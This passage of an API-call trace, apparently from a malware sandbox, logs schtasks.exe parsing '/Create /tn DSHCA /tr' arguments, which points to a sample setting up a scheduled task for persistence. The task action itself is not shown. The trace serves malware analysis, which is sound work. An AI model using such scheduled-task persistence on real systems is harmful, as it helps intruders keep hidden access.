Size=0x10) returned 0x744cc0 [0085.579] SetLastError (dwErrCode=0x0) [0085.579] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0085.579] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0085.579] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0085.579] VerifyVersionInfoW (in: lpVersionInformation=0x27f56c, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x27f56c) returned 1 [0085.579] GetProcessHeap () returned 0x730000 [0085.579] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744cd8 [0085.579] lstrlenW (lpString="") returned 0 [0085.579] GetProcessHeap () returned 0x730000 [0085.579] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x2) returned 0x7450a8 [0085.579] GetProcessHeap () returned 0x730000 [0085.579] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7450b8 [0085.579] GetProcessHeap () returned 0x730000 [0085.579] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744cf0 [0085.579] GetProcessHeap () returned 0x730000 [0085.579] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7450d8 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7450f8 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745118 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745138 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744d08 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745158 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745178 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745198 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7451b8 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744d20 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7451d8 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745210 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745230 [0085.580] GetProcessHeap () returned 0x730000 [0085.580] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745250 [0085.580] SetThreadUILanguage (LangId=0x0) returned 0x409 [0085.581] SetLastError (dwErrCode=0x0) [0085.581] GetProcessHeap () returned 0x730000 [0085.581] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745270 [0085.581] GetProcessHeap () returned 0x730000 [0085.581] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745290 [0085.581] GetProcessHeap () returned 0x730000 [0085.581] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7452b0 [0085.581] GetProcessHeap () returned 0x730000 [0085.581] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7452d0 [0085.581] GetProcessHeap () returned 0x730000 [0085.581] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7452f0 [0085.581] GetProcessHeap () returned 0x730000 [0085.581] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744d38 [0085.581] _memicmp (_Buf1=0x744d38, _Buf2=0x521ed8, _Size=0x7) returned 0 [0085.581] GetProcessHeap () returned 0x730000 [0085.581] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x208) returned 0x745b78 [0085.581] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x745b78, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0085.581] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x74320000 [0085.583] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0085.583] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0085.583] GetProcessHeap () returned 0x730000 [0085.583] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x74e) returned 0x745d88 [0085.583] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0085.583] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x745d88 | out: lpData=0x745d88) returned 1 [0085.583] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0085.583] VerQueryValueW (in: pBlock=0x745d88, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27f674, puLen=0x27f678 | out: lplpBuffer=0x27f674*=0x746124, puLen=0x27f678) returned 1 [0085.585] _memicmp (_Buf1=0x744d38, _Buf2=0x521ed8, _Size=0x7) returned 0 [0085.585] _vsnwprintf (in: _Buffer=0x745b78, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27f65c | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0085.585] VerQueryValueW (in: pBlock=0x745d88, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27f684, puLen=0x27f680 | out: lplpBuffer=0x27f684*=0x745f50, puLen=0x27f680) returned 1 [0085.585] lstrlenW (lpString="schtasks.exe") returned 12 [0085.585] lstrlenW (lpString="schtasks.exe") returned 12 [0085.585] lstrlenW (lpString=".EXE") returned 4 [0085.585] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0086.081] lstrlenW (lpString="schtasks.exe") returned 12 [0086.081] lstrlenW (lpString=".EXE") returned 4 [0086.081] _memicmp (_Buf1=0x744d38, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.081] lstrlenW (lpString="schtasks") returned 8 [0086.081] GetProcessHeap () returned 0x730000 [0086.081] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745330 [0086.081] GetProcessHeap () returned 0x730000 [0086.081] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745350 [0086.081] GetProcessHeap () returned 0x730000 [0086.081] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745370 [0086.081] GetProcessHeap () returned 0x730000 [0086.081] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745390 [0086.081] GetProcessHeap () returned 0x730000 [0086.081] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744d98 [0086.081] _memicmp (_Buf1=0x744d98, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.081] GetProcessHeap () returned 0x730000 [0086.081] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0xa0) returned 0x746768 [0086.081] GetProcessHeap () returned 0x730000 [0086.081] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7453b0 [0086.081] GetProcessHeap () returned 0x730000 [0086.081] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7453d0 [0086.081] GetProcessHeap () returned 0x730000 [0086.081] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x7453f0 [0086.081] GetProcessHeap () returned 0x730000 [0086.081] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744db0 [0086.081] _memicmp (_Buf1=0x744db0, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.082] GetProcessHeap () returned 0x730000 [0086.082] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x200) returned 0x746810 [0086.082] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x746810, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0086.082] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0086.082] GetProcessHeap () returned 0x730000 [0086.082] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x30) returned 0x746a18 [0086.082] _vsnwprintf (in: _Buffer=0x746768, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27f660 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0086.082] GetProcessHeap () returned 0x730000 [0086.082] GetProcessHeap () returned 0x730000 [0086.082] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745d88) returned 1 [0086.082] GetProcessHeap () returned 0x730000 [0086.082] RtlSizeHeap (HeapHandle=0x730000, Flags=0x0, MemoryPointer=0x745d88) returned 0x74e [0086.082] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x745d88 | out: hHeap=0x730000) returned 1 [0086.082] SetLastError (dwErrCode=0x0) [0086.082] GetThreadLocale () returned 0x409 [0086.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.082] lstrlenW (lpString="?") returned 1 [0086.082] GetThreadLocale () returned 0x409 [0086.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.082] lstrlenW (lpString="create") returned 6 [0086.082] GetThreadLocale () returned 0x409 [0086.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.082] lstrlenW (lpString="delete") returned 6 [0086.082] GetThreadLocale () returned 0x409 [0086.082] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.082] lstrlenW (lpString="query") returned 5 [0086.082] GetThreadLocale () returned 0x409 [0086.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.083] lstrlenW (lpString="change") returned 6 [0086.083] GetThreadLocale () returned 0x409 [0086.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.083] lstrlenW (lpString="run") returned 3 [0086.083] GetThreadLocale () returned 0x409 [0086.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.083] lstrlenW (lpString="end") returned 3 [0086.083] GetThreadLocale () returned 0x409 [0086.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.083] lstrlenW (lpString="showsid") returned 7 [0086.083] GetThreadLocale () returned 0x409 [0086.083] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.083] SetLastError (dwErrCode=0x0) [0086.083] SetLastError (dwErrCode=0x0) [0086.083] lstrlenW (lpString="/Create") returned 7 [0086.083] lstrlenW (lpString="-/") returned 2 [0086.083] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.083] lstrlenW (lpString="?") returned 1 [0086.083] lstrlenW (lpString="?") returned 1 [0086.083] GetProcessHeap () returned 0x730000 [0086.083] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744dc8 [0086.083] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.083] GetProcessHeap () returned 0x730000 [0086.083] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0xa) returned 0x744de0 [0086.083] lstrlenW (lpString="Create") returned 6 [0086.083] GetProcessHeap () returned 0x730000 [0086.083] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744df8 [0086.083] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.083] GetProcessHeap () returned 0x730000 [0086.083] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745410 [0086.083] _vsnwprintf (in: _Buffer=0x744de0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|?|") returned 3 [0086.083] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|Create|") returned 8 [0086.083] lstrlenW (lpString="|?|") returned 3 [0086.083] lstrlenW (lpString="|Create|") returned 8 [0086.083] SetLastError (dwErrCode=0x490) [0086.083] lstrlenW (lpString="create") returned 6 [0086.083] lstrlenW (lpString="create") returned 6 [0086.083] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.084] GetProcessHeap () returned 0x730000 [0086.084] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x744de0) returned 1 [0086.084] GetProcessHeap () returned 0x730000 [0086.084] RtlReAllocateHeap (Heap=0x730000, Flags=0xc, Ptr=0x744de0, Size=0x14) returned 0x745430 [0086.084] lstrlenW (lpString="Create") returned 6 [0086.084] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.084] _vsnwprintf (in: _Buffer=0x745430, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|create|") returned 8 [0086.084] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|Create|") returned 8 [0086.084] lstrlenW (lpString="|create|") returned 8 [0086.084] lstrlenW (lpString="|Create|") returned 8 [0086.084] StrStrIW (lpFirst="|create|", lpSrch="|Create|") returned="|create|" [0086.084] SetLastError (dwErrCode=0x0) [0086.084] SetLastError (dwErrCode=0x0) [0086.084] SetLastError (dwErrCode=0x0) [0086.084] lstrlenW (lpString="/tn") returned 3 [0086.084] lstrlenW (lpString="-/") returned 2 [0086.084] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.084] lstrlenW (lpString="?") returned 1 [0086.084] lstrlenW (lpString="?") returned 1 [0086.084] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.084] lstrlenW (lpString="tn") returned 2 [0086.084] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.084] _vsnwprintf (in: _Buffer=0x745430, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|?|") returned 3 [0086.084] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tn|") returned 4 [0086.084] lstrlenW (lpString="|?|") returned 3 [0086.084] lstrlenW (lpString="|tn|") returned 4 [0086.084] SetLastError (dwErrCode=0x490) [0086.084] lstrlenW (lpString="create") returned 6 [0086.084] lstrlenW (lpString="create") returned 6 [0086.084] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.084] lstrlenW (lpString="tn") returned 2 [0086.084] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.084] _vsnwprintf (in: _Buffer=0x745430, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|create|") returned 8 [0086.084] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tn|") returned 4 [0086.084] lstrlenW (lpString="|create|") returned 8 [0086.085] lstrlenW (lpString="|tn|") returned 4 [0086.085] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0086.085] SetLastError (dwErrCode=0x490) [0086.085] lstrlenW (lpString="delete") returned 6 [0086.085] lstrlenW (lpString="delete") returned 6 [0086.085] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.085] lstrlenW (lpString="tn") returned 2 [0086.085] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.085] _vsnwprintf (in: _Buffer=0x745430, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|delete|") returned 8 [0086.085] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tn|") returned 4 [0086.085] lstrlenW (lpString="|delete|") returned 8 [0086.085] lstrlenW (lpString="|tn|") returned 4 [0086.085] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0086.085] SetLastError (dwErrCode=0x490) [0086.085] lstrlenW (lpString="query") returned 5 [0086.085] lstrlenW (lpString="query") returned 5 [0086.085] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.085] lstrlenW (lpString="tn") returned 2 [0086.085] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.085] _vsnwprintf (in: _Buffer=0x745430, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|query|") returned 7 [0086.085] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tn|") returned 4 [0086.085] lstrlenW (lpString="|query|") returned 7 [0086.085] lstrlenW (lpString="|tn|") returned 4 [0086.085] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0086.085] SetLastError (dwErrCode=0x490) [0086.085] lstrlenW (lpString="change") returned 6 [0086.085] lstrlenW (lpString="change") returned 6 [0086.085] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.085] lstrlenW (lpString="tn") returned 2 [0086.085] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.085] _vsnwprintf (in: _Buffer=0x745430, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|change|") returned 8 [0086.085] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tn|") returned 4 [0086.085] lstrlenW (lpString="|change|") returned 8 [0086.085] lstrlenW (lpString="|tn|") returned 4 [0086.086] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0086.086] SetLastError (dwErrCode=0x490) [0086.086] lstrlenW (lpString="run") returned 3 [0086.086] lstrlenW (lpString="run") returned 3 [0086.086] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.086] lstrlenW (lpString="tn") returned 2 [0086.086] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.086] _vsnwprintf (in: _Buffer=0x745430, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|run|") returned 5 [0086.086] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tn|") returned 4 [0086.086] lstrlenW (lpString="|run|") returned 5 [0086.086] lstrlenW (lpString="|tn|") returned 4 [0086.086] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0086.086] SetLastError (dwErrCode=0x490) [0086.086] lstrlenW (lpString="end") returned 3 [0086.086] lstrlenW (lpString="end") returned 3 [0086.086] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.086] lstrlenW (lpString="tn") returned 2 [0086.086] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.086] _vsnwprintf (in: _Buffer=0x745430, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|end|") returned 5 [0086.086] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tn|") returned 4 [0086.086] lstrlenW (lpString="|end|") returned 5 [0086.086] lstrlenW (lpString="|tn|") returned 4 [0086.086] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0086.086] SetLastError (dwErrCode=0x490) [0086.086] lstrlenW (lpString="showsid") returned 7 [0086.086] lstrlenW (lpString="showsid") returned 7 [0086.086] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.086] GetProcessHeap () returned 0x730000 [0086.086] HeapValidate (hHeap=0x730000, dwFlags=0x0, lpMem=0x745430) returned 1 [0086.086] GetProcessHeap () returned 0x730000 [0086.086] RtlReAllocateHeap (Heap=0x730000, Flags=0xc, Ptr=0x745430, Size=0x16) returned 0x745450 [0086.086] lstrlenW (lpString="tn") returned 2 [0086.086] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.086] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|showsid|") returned 9 [0086.086] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tn|") returned 4 [0086.087] lstrlenW (lpString="|showsid|") returned 9 [0086.087] lstrlenW (lpString="|tn|") returned 4 [0086.087] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0086.087] SetLastError (dwErrCode=0x490) [0086.087] SetLastError (dwErrCode=0x490) [0086.087] SetLastError (dwErrCode=0x0) [0086.087] lstrlenW (lpString="/tn") returned 3 [0086.087] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0086.087] SetLastError (dwErrCode=0x490) [0086.087] SetLastError (dwErrCode=0x0) [0086.087] lstrlenW (lpString="/tn") returned 3 [0086.087] GetProcessHeap () returned 0x730000 [0086.087] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x8) returned 0x746a50 [0086.087] GetProcessHeap () returned 0x730000 [0086.087] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745430 [0086.087] SetLastError (dwErrCode=0x0) [0086.087] SetLastError (dwErrCode=0x0) [0086.087] lstrlenW (lpString="DSHCA") returned 5 [0086.087] lstrlenW (lpString="-/") returned 2 [0086.087] StrChrIW (lpStart="-/", wMatch=0x44) returned 0x0 [0086.087] SetLastError (dwErrCode=0x490) [0086.087] SetLastError (dwErrCode=0x490) [0086.087] SetLastError (dwErrCode=0x0) [0086.087] lstrlenW (lpString="DSHCA") returned 5 [0086.087] StrChrIW (lpStart="DSHCA", wMatch=0x3a) returned 0x0 [0086.087] SetLastError (dwErrCode=0x490) [0086.087] SetLastError (dwErrCode=0x0) [0086.087] lstrlenW (lpString="DSHCA") returned 5 [0086.087] GetProcessHeap () returned 0x730000 [0086.087] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0xc) returned 0x744de0 [0086.087] GetProcessHeap () returned 0x730000 [0086.087] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x14) returned 0x745470 [0086.087] SetLastError (dwErrCode=0x0) [0086.087] SetLastError (dwErrCode=0x0) [0086.087] lstrlenW (lpString="/tr") returned 3 [0086.087] lstrlenW (lpString="-/") returned 2 [0086.087] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.087] lstrlenW (lpString="?") returned 1 [0086.087] lstrlenW (lpString="?") returned 1 [0086.087] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.087] lstrlenW (lpString="tr") returned 2 [0086.088] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.088] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|?|") returned 3 [0086.088] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tr|") returned 4 [0086.088] lstrlenW (lpString="|?|") returned 3 [0086.088] lstrlenW (lpString="|tr|") returned 4 [0086.088] SetLastError (dwErrCode=0x490) [0086.088] lstrlenW (lpString="create") returned 6 [0086.088] lstrlenW (lpString="create") returned 6 [0086.088] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.088] lstrlenW (lpString="tr") returned 2 [0086.088] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.088] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|create|") returned 8 [0086.088] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tr|") returned 4 [0086.088] lstrlenW (lpString="|create|") returned 8 [0086.088] lstrlenW (lpString="|tr|") returned 4 [0086.088] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0086.088] SetLastError (dwErrCode=0x490) [0086.088] lstrlenW (lpString="delete") returned 6 [0086.088] lstrlenW (lpString="delete") returned 6 [0086.088] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.088] lstrlenW (lpString="tr") returned 2 [0086.088] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.088] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|delete|") returned 8 [0086.088] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tr|") returned 4 [0086.088] lstrlenW (lpString="|delete|") returned 8 [0086.088] lstrlenW (lpString="|tr|") returned 4 [0086.088] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0086.088] SetLastError (dwErrCode=0x490) [0086.088] lstrlenW (lpString="query") returned 5 [0086.088] lstrlenW (lpString="query") returned 5 [0086.088] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.088] lstrlenW (lpString="tr") returned 2 [0086.088] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.088] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|query|") returned 7 [0086.089] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tr|") returned 4 [0086.089] lstrlenW (lpString="|query|") returned 7 [0086.089] lstrlenW (lpString="|tr|") returned 4 [0086.089] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0086.089] SetLastError (dwErrCode=0x490) [0086.089] lstrlenW (lpString="change") returned 6 [0086.089] lstrlenW (lpString="change") returned 6 [0086.089] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.089] lstrlenW (lpString="tr") returned 2 [0086.089] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.089] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|change|") returned 8 [0086.089] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tr|") returned 4 [0086.089] lstrlenW (lpString="|change|") returned 8 [0086.089] lstrlenW (lpString="|tr|") returned 4 [0086.089] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0086.089] SetLastError (dwErrCode=0x490) [0086.089] lstrlenW (lpString="run") returned 3 [0086.089] lstrlenW (lpString="run") returned 3 [0086.089] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.089] lstrlenW (lpString="tr") returned 2 [0086.089] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.089] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|run|") returned 5 [0086.089] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f648 | out: _Buffer="|tr|") returned 4 [0086.089] lstrlenW 